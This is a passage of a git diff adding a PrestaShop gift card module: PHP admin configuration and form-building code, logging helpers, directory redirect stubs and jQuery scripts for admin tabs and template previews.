(empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_CF_TEMPLATE', $cf_templateL ); + else + $output .= $errorreturn; + $cf_fromL = $this->buildFieldLang ( 'cf_from' ); + $errorreturn = self::validateCustomField ( $cf_fromL, $this->l ( 'From label' ) ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_CF_FROM', $cf_fromL ); + else + $output .= $errorreturn; + $cf_lastnameL = $this->buildFieldLang ( 'cf_lastname' ); + $errorreturn = self::validateCustomField ( $cf_lastnameL, $this->l ( 'Lastname label' ) ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_CF_LASTNAME', $cf_lastnameL ); + else + $output .= $errorreturn; + $cf_toL = $this->buildFieldLang ( 'cf_to' ); + $errorreturn = self::validateCustomField ( $cf_toL, $this->l ( 'Mail recipient label' ) ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_CF_TO', $cf_toL ); + else + $output .= $errorreturn; + $cf_date_sendL = $this->buildFieldLang ( 'cf_date_send' ); + $errorreturn = self::validateCustomField ( $cf_date_sendL, $this->l ( 'Date send label' ) ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_CF_DATESEND', $cf_date_sendL ); + else + $output .= $errorreturn; + $cf_messageL = $this->buildFieldLang ( 'cf_message' ); + $errorreturn = self::validateCustomField ( $cf_messageL, $this->l ( 'Message label' ) ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_CF_MESSAGE', $cf_messageL ); + else + $output .= $errorreturn; + $cf_mailObjRecL = $this->buildFieldLang ( 'mail_obj_rec' ); + $errorreturn = self::validateCustomField ( $cf_mailObjRecL, $this->l ( 'Subject of email recipient' ), 'isMailSubject' ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_MAIL_OBJ_REC', $cf_mailObjRecL ); + else + $output .= $errorreturn; + $cf_mailObjCustL = $this->buildFieldLang ( 'mail_obj_cust' ); + $errorreturn = self::validateCustomField ( $cf_mailObjCustL, $this->l ( 'Subject of email customer' ), 'isMailSubject' ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_MAIL_OBJ_CUST', $cf_mailObjCustL ); + else + $output .= $errorreturn; + $pdf_contentL = $this->buildFieldLang ( 'pdf_content' ); + $errorreturn = self::validateCustomField ( $cf_mailObjCustL, $this->l ( 'PDF content' ), 'isCleanHtml' ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_PDF_CONTENT', $pdf_contentL, true ); + else + $output .= $errorreturn; + $pdf_prefixL = $this->buildFieldLang ( 'pdf_prefix' ); + $errorreturn = self::validateCustomField ( $pdf_prefixL, $this->l ( 'PDF prefix' ) ); + if (empty ( $errorreturn )) + Configuration::updateValue ( 'GIFTCARD_PDF_PREFIX', $pdf_prefixL ); + else + $output .= $errorreturn; + $pdf_img_width = (int)Tools::getValue ( 'pdf_img_width', 0 ); + if (! $pdf_img_width > 0) + $output .= $this->displayError ( $this->l ( 'The field width must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_PDF_IMG_WIDTH', $pdf_img_width ); + $pdf_img_height = (int)Tools::getValue ( 'pdf_img_height', 0 ); + if (! $pdf_img_height > 0) + $output .= $this->displayError ( $this->l ( 'The field height must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_PDF_IMG_HEIGHT', $pdf_img_height ); + $front_img_width = (int)Tools::getValue ( 'front_img_width', 0 ); + if (! $front_img_width > 0) + $output .= $this->displayError ( $this->l ( 'The field width must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_FRONT_IMG_WIDTH', $front_img_width ); + $front_img_height = (int)Tools::getValue ( 'front_img_height', 0 ); + if (! $front_img_height > 0) + $output .= $this->displayError ( $this->l ( 'The field height must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_FRONT_IMG_HEIGHT', $front_img_height ); + $front_limg_width = (int)Tools::getValue ( 'front_limg_width', 0 ); + if (! $front_limg_width > 0) + $output .= $this->displayError ( $this->l ( 'The field width must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_FRONT_LIMG_WIDTH', $front_limg_width ); + $front_limg_height = (int)Tools::getValue ( 'front_limg_height', 0 ); + if (! $front_limg_height > 0) + $output .= $this->displayError ( $this->l ( 'The field height must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_FRONT_LIMG_HEIGHT', $front_limg_height ); + $mail_img_width = (int)Tools::getValue ( 'mail_img_width', 0 ); + if (! $mail_img_width > 0) + $output .= $this->displayError ( $this->l ( 'The field img width must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_MAIL_IMG_WIDTH', $mail_img_width ); + $mail_img_height = (int)Tools::getValue ( 'pdf_img_height', 0 ); + if (! $mail_img_height > 0) + $output .= $this->displayError ( $this->l ( 'The field img height must superior to 0' ) ); + else + Configuration::updateValue ( 'GIFTCARD_MAIL_IMG_HEIGHT', $mail_img_height ); + GiftCardProduct::updateAllCustomFields (); + $triggerweb = (int)Tools::getValue ( 'triggerweb', 0 ); + Configuration::updateValue ( 'GIFTCARD_TRIGGERWEB', $triggerweb ); + if (! $prefix || empty ( $prefix ) || ! Validate::isGenericName ( $prefix )) + $output .= $this->displayError ( $this->l ( 'Invalid Configuration value' ) ); + else + { + Configuration::updateValue ( 'GIFTCARD_PREFIX', $prefix ); + $output .= $this->displayConfirmation ( $this->l ( 'Settings updated' ) ); + } + } + if (Tools::isSubmit ( 'previewpdf' )) + { + $giftCardTemplate = GiftCardTemplate::getDefault (); + if (! $giftCardTemplate) + $output .= $this->displayError ( $this->l ( 'Default gift card template is required to preview PDF' ) ); + else + { + $params = array (); + $params['id_shop'] = (int)Configuration::get ( 'PS_SHOP_DEFAULT' ); + $params['id_currency'] = (int)Configuration::get ( 'PS_CURRENCY_DEFAULT' ); + $params['id_gift_card_order'] = 1; + $params['discountcode'] = 'GC_JN43F8Q2OMTG7K1CREDP'; + $params['price'] = 100; + $params['date_to'] = Tools::displayDate ( date ( 'Y-m-d', strtotime ( date ( 'Y-m-d', time () ).' + 365 day' ) ) ); + $params['id_lang'] = (int)Tools::getValue ( 'pdfpreview_id_lang', Configuration::get ( 'PS_LANG_DEFAULT' ) ); + $params['message'] = 'Message'; + $params['lastname'] = 'John'; + $params['from'] = 'William'; + $prefix_pdf = Configuration::get ( 'GIFTCARD_PDF_PREFIX', (int)$params['id_lang'] ); + if (! $prefix_pdf || empty ( $prefix_pdf )) + $prefix_pdf = 'GIFTCARD'; + $filename = $prefix_pdf.sprintf ( '%06d', 0 ); + GiftCardTools::processGeneratePdfV2 ( $giftCardTemplate, $params, true, $filename ); + } + } + return $output.$this->displayForm (); + } + public function displayForm() + { + // Get default Language + $default_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + $cronurl = Tools::getProtocol ().$_SERVER['HTTP_HOST'].__PS_BASE_URI__.'modules/giftcard/cron.php?token='.Configuration::get ( 'GIFTCARD_TOKEN' ); + // Init Fields form array + // $giftcards = GiftCardProduct::getGiftCards(); + if ($this->imagick) + $description_useimagick = $this->l ( 'Imagick is installed you can use generic template' ); + else + $description_useimagick = $this->l ( 'To use generic templates, you must install imagick, imagick is a popular free extension php' ); + $fields_form = array (); + $fields_form[0]['form'] = array ( + 'legend' => array ( + 'title' => $this->l ( 'Documentation' ), + 'image' => $this->img_directory.'icon/pdf.gif' + ), + 'description' => $this->l ( 'Read' ).' '.$this->l ( 'before use it' ) + ); + $fields_form[1]['form'] = array ( + 'legend' => array ( + 'title' => $this->l ( 'Front office and configuration' ), + 'image' => $this->img_directory.'icon/front_conf.png' + ), + 'input' => array ( + array ( + 'type' => 'text', + 'label' => $this->l ( 'Prefix' ), + 'name' => 'prefix', + 'desc' => $this->l ( 'Prefix used for gift card code (e.g. GC-****************)' ), + 'size' => 15, + 'required' => true + ), + array ( + 'type' => 'textarea', + 'label' => $this->l ( 'Text in front office:' ), + 'name' => 'front_content', + 'autoload_rte' => true, + 'required' => true, + 'lang' => true, + 'rows' => 10, + 'cols' => 100, + 'hint' => $this->l ( 'Invalid characters:' ).' <>;=#{}' + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Height card image' ), + 'name' => 'front_img_height', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Height card image in front office' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Width card image' ), + 'name' => 'front_img_width', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Width card image in front office' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Height card image' ), + 'name' => 'front_limg_height', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Height large card image in front office' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Width card image' ), + 'name' => 'front_limg_width', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Width large card image in front office' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Template label' ), + 'name' => 'cf_template', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l ( 'Invalid characters: numbers and' ).' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l ( 'This will be displayed in the cart summary, as well as on the invoice' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'From label' ), + 'name' => 'cf_from', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l ( 'Invalid characters: numbers and' ).' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l ( 'This will be displayed in the cart summary, as well as on the invoice' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Lastname label' ), + 'name' => 'cf_lastname', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l ( 'Invalid characters: numbers and' ).' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l ( 'This will be displayed in the cart summary, as well as on the invoice' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Mail recipient label' ), + 'name' => 'cf_to', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l ( 'Invalid characters: numbers and' ).' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l ( 'This will be displayed in the cart summary, as well as on the invoice' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Message label' ), + 'name' => 'cf_message', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l ( 'Invalid characters: numbers and' ).' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l ( 'This will be displayed in the cart summary, as well as on the invoice' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Date send label' ), + 'name' => 'cf_date_send', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l ( 'Invalid characters: numbers and' ).' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l ( 'This will be displayed in the cart summary, as well as on the invoice' ) + ) + ), + 'submit' => array ( + 'title' => $this->l ( 'Save' ), + 'class' => 'button' + ) + ); + $fields_form[2]['form'] = array ( + 'legend' => array ( + 'title' => $this->l ( 'Email' ), + 'image' => $this->img_directory.'icon/mail.png' + ), + 'input' => array ( + array ( + 'type' => 'text', + 'label' => $this->l ( 'Mail subject' ), + 'name' => 'mail_obj_cust', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'desc' => $this->l ( 'Received by the customer who purchased the gift card' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Mail subject' ), + 'name' => 'mail_obj_rec', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'desc' => $this->l ( 'Received by the recipient of the gift card' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Width card image' ), + 'name' => 'mail_img_width', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Width card image in mail' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Height card image' ), + 'name' => 'mail_img_height', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Height card image in mail' ) + ) + ), + 'submit' => array ( + 'title' => $this->l ( 'Save' ), + 'class' => 'button' + ) + ); + $fields_form[3]['form'] = array ( + 'legend' => array ( + 'title' => $this->l ( 'Pdf' ), + 'image' => $this->img_directory.'icon/pdf.gif' + ), + 'input' => array ( + array ( + 'type' => 'text', + 'label' => $this->l ( 'Pdf prefix' ), + 'name' => 'pdf_prefix', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'desc' => $this->l ( 'Prefix used for gift card name (e.g. GIFTCARD-00001.pdf)' ) + ), + array ( + 'type' => 'textarea', + 'label' => $this->l ( 'Pdf content:' ), + 'name' => 'pdf_content', + 'autoload_rte' => true, + 'required' => true, + 'lang' => true, + 'rows' => 10, + 'cols' => 100, + 'hint' => $this->l ( 'Invalid characters:' ).' <>;=#{}' + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Width card image' ), + 'name' => 'pdf_img_width', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Width card image in pdf generated' ) + ), + array ( + 'type' => 'text', + 'label' => $this->l ( 'Height card image' ), + 'name' => 'pdf_img_height', + 'size' => 5, + 'required' => true, + 'suffix' => 'px', + 'desc' => $this->l ( 'Height card image in pdf generated' ) + ), + array ( + 'type' => 'select', + 'label' => $this->l ( 'Preview PDF Language' ), + 'name' => 'pdfpreview_id_lang', + 'desc' => $this->l ( 'Use just to see the result' ), + 'required' => true, + 'options' => array ( + 'query' => Language::getLanguages ( false ), + 'id' => 'id_lang', + 'name' => 'name' + ) + ) + ), + 'submit' => array ( + 'title' => $this->l ( 'Save and Preview' ), + 'name' => 'previewpdf', + 'class' => 'button' + ) + ); + $fields_form[4]['form'] = array ( + 'legend' => array ( + 'title' => $this->l ( 'Planification' ), + 'image' => $this->img_directory.'icon/time.gif' + ), + 'description' => $this->l ( 'A process is launched every day to check the gifts cards to send. For customers who checked a date specific delivery of the gift card at the time of purchase.' ), + 'input' => array ( + array ( + 'type' => 'radio', + 'label' => $this->l ( 'First visitor' ), + 'name' => 'triggerweb', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array ( + array ( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l ( 'First visitor' ) + ), + array ( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l ( 'Crontab' ) + ) + ), + + 'desc' => ''.$this->l ( 'First visitor' ).'
        '.$this->l ( 'When the first visitor of the day connects to your site,is launched in background' ).'
        '.$this->l ( 'This solution is use when you cannot access a crontab on your server' ).'
        '.''.$this->l ( 'Crontab' ).'
        '.$this->l ( 'Contact your host or webmaster to configure crontab.' ).'
        '.$this->l ( 'The following lines are to be added to crontab :' ).'
        '.'30 4 * * * c'.'url '.$cronurl.'
        '.$this->l ( 'Also, giftcard is launch every day with a specific hour, here with this cron 4hours 30min AM' ).'
        ' + ) + ), + 'submit' => array ( + 'title' => $this->l ( 'Save' ), + 'class' => 'button' + ) + ); + $fields_form[5]['form'] = array ( + 'legend' => array ( + 'title' => $this->l ( 'Ready to use' ), + 'image' => $this->img_directory.'icon/info.png' + ), + 'description' => $description_useimagick.'
        '.$this->l ( 'This action automatically creates models and gift cards.' ).'
        '.$this->l ( 'The process may take a few minutes..' ), + 'input' => array ( + array ( + 'type' => 'radio', + 'label' => $this->l ( 'Customizable template' ), + 'name' => 'withgenerictemplate', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array ( + array ( + 'id' => 'withgenerictemplate_on', + 'value' => 1, + 'label' => $this->l ( 'Yes' ) + ), + array ( + 'id' => 'withgenerictemplate_off', + 'value' => 0, + 'label' => $this->l ( 'No' ) + ) + ) + ) + ), + 'submit' => array ( + 'title' => $this->l ( 'Launch' ), + 'class' => 'button', + 'name' => 'loaddefault' + ) + ); + + $helper = new HelperForm (); + // Module, token and currentIndex + $helper->module = $this; + $helper->name_controller = $this->name; + $helper->token = Tools::getAdminTokenLite ( 'AdminModules' ); + $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name; + + // Language + $helper->default_form_language = $default_lang; + $helper->allow_employee_form_lang = $default_lang; + + // Title and toolbar + $helper->title = $this->displayName; + $helper->show_toolbar = true; // false -> remove toolbar + $helper->toolbar_scroll = true; // yes - > Toolbar is always visible on the top of the screen. + $helper->submit_action = 'submit'.$this->name; + $languages = Language::getLanguages ( true ); + $nblang = count ( $languages ); + for ($i = 0; $i < $nblang; $i ++) + { + if ($languages[$i]['id_lang'] == $default_lang) + $languages[$i]['is_default'] = 1; + else + $languages[$i]['is_default'] = 0; + } + $helper->languages = $languages; + $helper->toolbar_btn = array ( + 'save' => array ( + 'desc' => $this->l ( 'Save' ), + 'href' => AdminController::$currentIndex.'&configure='.$this->name.'&save'.$this->name.'&token='.Tools::getAdminTokenLite ( 'AdminModules' ) + ), + 'back' => array ( + 'href' => AdminController::$currentIndex.'&token='.Tools::getAdminTokenLite ( 'AdminModules' ), + 'desc' => $this->l ( 'Back to list' ) + ) + ); + + // Load current value + + $helper->fields_value['withgenerictemplate'] = ($this->imagick ? 1 : 0); + $helper->fields_value['prefix'] = Configuration::get ( 'GIFTCARD_PREFIX' ); + $helper->fields_value['pdf_img_width'] = Configuration::get ( 'GIFTCARD_PDF_IMG_WIDTH' ); + $helper->fields_value['pdf_img_height'] = Configuration::get ( 'GIFTCARD_PDF_IMG_HEIGHT' ); + $helper->fields_value['mail_img_width'] = Configuration::get ( 'GIFTCARD_PDF_IMG_WIDTH' ); + $helper->fields_value['mail_img_height'] = Configuration::get ( 'GIFTCARD_PDF_IMG_HEIGHT' ); + $helper->fields_value['front_img_width'] = Configuration::get ( 'GIFTCARD_FRONT_IMG_WIDTH' ); + $helper->fields_value['front_img_height'] = Configuration::get ( 'GIFTCARD_FRONT_IMG_HEIGHT' ); + $helper->fields_value['front_limg_width'] = Configuration::get ( 'GIFTCARD_FRONT_LIMG_WIDTH' ); + $helper->fields_value['front_limg_height'] = Configuration::get ( 'GIFTCARD_FRONT_LIMG_HEIGHT' ); + $helper->fields_value['triggerweb'] = Configuration::get ( 'GIFTCARD_TRIGGERWEB' ); + $helper->fields_value['pdfpreview_id_lang'] = Tools::getValue ( 'pdfpreview_id_lang', (int)Configuration::get ( 'PS_LANG_DEFAULT' ) ); + $helper->fields_value['pdfpreview_withinformation'] = (int)Tools::getValue ( 'pdfpreview_withinformation', 0 ); + $helper->fields_value['pdfpreview_id_gift_card'] = (int)Tools::getValue ( 'pdfpreview_id_gift_card', 0 ); + foreach ($languages as $language) + { + $helper->fields_value['front_content'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_FRONT_CONTENT', (int)$language['id_lang'] ); + $helper->fields_value['cf_template'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_CF_TEMPLATE', (int)$language['id_lang'] ); + $helper->fields_value['cf_from'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_CF_FROM', (int)$language['id_lang'] ); + $helper->fields_value['cf_to'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_CF_TO', (int)$language['id_lang'] ); + $helper->fields_value['cf_lastname'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_CF_LASTNAME', (int)$language['id_lang'] ); + $helper->fields_value['cf_date_send'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_CF_DATESEND', (int)$language['id_lang'] ); + $helper->fields_value['cf_message'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_CF_MESSAGE', (int)$language['id_lang'] ); + $helper->fields_value['mail_obj_rec'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_MAIL_OBJ_REC', (int)$language['id_lang'] ); + $helper->fields_value['mail_obj_cust'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_MAIL_OBJ_CUST', (int)$language['id_lang'] ); + $helper->fields_value['pdf_content'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_PDF_CONTENT', (int)$language['id_lang'] ); + $helper->fields_value['pdf_prefix'][(int)$language['id_lang']] = Configuration::get ( 'GIFTCARD_PDF_PREFIX', (int)$language['id_lang'] ); + } + return $helper->generateForm ( $fields_form ); + } + public function accessLogsDirectory() + { + if (! is_readable ( _PS_ROOT_DIR_.'/modules/giftcard/logs' ) || ! is_writable ( _PS_ROOT_DIR_.'/modules/giftcard/logs' )) + return (false); + return true; + } + public function log($log_message) + { + if ($this->accesslog) + { + if ($this->log_fic_name == '') + $this->log_fic_name = 'giftcardlog-'.date ( 'Ymd' ).'.log'; + $fp = @fopen ( $this->log_directory.$this->log_fic_name, 'a' ); + @fwrite ( $fp, date ( 'H\Hi' ).' '.$log_message.'\n' ); + @fclose ( $fp ); + } + } + public function loglongline($log_message) + { + if ($this->accesslog) + { + if ($this->log_fic_name == '') + $this->log_fic_name = 'giftcardlog-'.date ( 'Ymd' ).'.log'; + $fp = @fopen ( $this->log_directory.'/'.$this->log_fic_name, 'a' ); + if ($log_message) + @fwrite ( $fp, $log_message.'\n' ); + @fwrite ( $fp, '============================================================================\n' ); + @fclose ( $fp ); + } + } +} +?> \ No newline at end of file diff --git a/modules/giftcard/img/index.php b/modules/giftcard/img/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/img/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/index.php b/modules/giftcard/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/js/admingiftcard.js b/modules/giftcard/js/admingiftcard.js new file mode 100755 index 0000000..c3b435c --- /dev/null +++ b/modules/giftcard/js/admingiftcard.js @@ -0,0 +1,35 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).addClass('selected'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).addClass('selected'); + $('#currentFormTab').val(tab); +} + diff --git a/modules/giftcard/js/admingiftcardtemplate.js b/modules/giftcard/js/admingiftcardtemplate.js new file mode 100755 index 0000000..b9d1d3b --- /dev/null +++ b/modules/giftcard/js/admingiftcardtemplate.js @@ -0,0 +1,57 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + /*Bootstrap*/ + $('.tab-row').removeClass('active'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).addClass('selected'); + $('#gift_card_link_' + currentFormTab).parent().addClass('active'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + /*Bootstrap*/ + $('.tab-page').removeClass('active'); + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).addClass('selected'); + /*Bootstrap*/ + $('#gift_card_link_' + tab).addClass('active'); + $('#currentFormTab').val(tab); +} +function previewTemplate(token) +{ + var data = $("#giftcardtemplate_form").serialize(); + var d = new Date(); + var n = d.getTime(); + url = 'index.php?controller=AdminGiftCardTemplate&token='+token+ + '&submitAction=generateImg&'+n+'&'+data; + $('#giftcardtemplateselect_img').html(''); + var img = $('') + $(img).attr('width','100%'); + $(img).attr('height','auto'); + $(img).attr('src', url).appendTo($('#giftcardtemplateselect_img')).fadeIn(); + $('#giftcardtemplates').hide(); + $('#giftcardtemplateselect').show(); +} + diff --git a/modules/giftcard/js/admingiftcardtemplatebootstrap.js b/modules/giftcard/js/admingiftcardtemplatebootstrap.js new file mode 100755 index 0000000..4061b50 --- /dev/null +++ b/modules/giftcard/js/admingiftcardtemplatebootstrap.js @@ -0,0 +1,53 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + /*$('.tab-page').removeClass('selected'); + /*Bootstrap*/ + $('.tab-row.active').removeClass('active'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).parent().addClass('active'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-row.active').removeClass('active'); + /*Bootstrap*/ + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).parent().addClass('active'); + $('#currentFormTab').val(tab); +} +function previewTemplate(token) +{ + var data = $("#giftcardtemplate_form").serialize(); + var d = new Date(); + var n = d.getTime(); + url = 'index.php?controller=AdminGiftCardTemplate&token='+token+ + '&submitAction=generateImg&'+n+'&'+data; + $('#giftcardtemplateselect_img').html(''); + var img = $('') + $(img).attr('width','100%'); + $(img).attr('height','auto'); + $(img).attr('src', url).appendTo($('#giftcardtemplateselect_img')).fadeIn(); + $('#giftcardtemplates').hide(); + $('#giftcardtemplateselect').show(); +} + diff --git a/modules/giftcard/js/admingiftcardtemplateps15.js b/modules/giftcard/js/admingiftcardtemplateps15.js new file mode 100755 index 0000000..8a06d18 --- /dev/null +++ b/modules/giftcard/js/admingiftcardtemplateps15.js @@ -0,0 +1,51 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).addClass('selected'); + $('#gift_card_link_' + currentFormTab).parent().addClass('active'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).addClass('selected'); + $('#currentFormTab').val(tab); +} +function previewTemplate(token) +{ + var data = $("#giftcardtemplate_form").serialize(); + var d = new Date(); + var n = d.getTime(); + url = 'index.php?controller=AdminGiftCardTemplate&token='+token+ + '&submitAction=generateImg&'+n+'&'+data; + $('#giftcardtemplateselect_img').html(''); + var img = $('') + $(img).attr('width','100%'); + $(img).attr('height','auto'); + $(img).attr('src', url).appendTo($('#giftcardtemplateselect_img')).fadeIn(); + $('#giftcardtemplates').hide(); + $('#giftcardtemplateselect').show(); +} + diff --git a/modules/giftcard/js/choicegiftcard.js b/modules/giftcard/js/choicegiftcard.js new file mode 100755 index 0000000..cc42f66 --- /dev/null +++ b/modules/giftcard/js/choicegiftcard.js @@ -0,0 +1,240 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +$( document ).ready(function() { + $('.thickbox-giftcard').fancybox({ + 'hideOnContentClick': true, + 'transitionIn' : 'elastic', + 'transitionOut' : 'elastic' + }); + initJCarousel('jcarouselcardtemplates-all'); + $('.tab_template').bind('click touchstart',function(){ + $('.tab_template').removeClass('selected'); + var datatab = $(this).attr("data-tab"); + $(this).addClass('selected'); + $('.gctab_content').removeClass('selected'); + $('#' + datatab).addClass('selected'); + var jcarouselid = 'jcarouselcardtemplates-all'; + if(datatab != 'block_templates_all') + { + var strid = $(this).attr('id'); + var tag_id = strid.replace("tab_template_tag",""); + 